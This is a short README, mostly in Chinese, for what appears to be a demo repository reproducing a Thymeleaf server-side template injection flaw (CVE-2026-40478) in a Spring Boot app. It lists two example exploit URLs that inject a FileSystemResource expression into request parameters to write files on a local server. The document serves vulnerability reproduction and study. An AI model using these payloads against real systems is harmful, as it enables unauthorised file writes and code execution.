bmvermeer/thymeleaf.CVE_2026_40478

# CVE-2026-40478 - Thymeleaf SSTI 演示 ## 环境要求 - Java 21 - Maven ## 运行 ``` mvn spring-boot:run ``` ## 安全示例 - http://localhost:8080/greet/safe?name=World - http://localhost:8080/page/safe?page=home ## 漏洞利用示例 - http://localhost:8080/greet/unsafe?name=new%09org.springframework.core.io.FileSystemResource(%27file1.test%27).getOutputStream() - http://localhost:8080/page/unsafe?page=new%09org.springframework.core.io.FileSystemResource(%27file2.file%27).getOutputStream()

标签：CISA项目, CVE, Maven, PoC, RCE, Spring Boot, SSTI, Thymeleaf, Web安全, 代码执行, 域名枚举, 安全漏洞, 数字签名, 数据展示, 暴力破解, 模板注入, 漏洞复现, 漏洞验证, 红队, 蓝队分析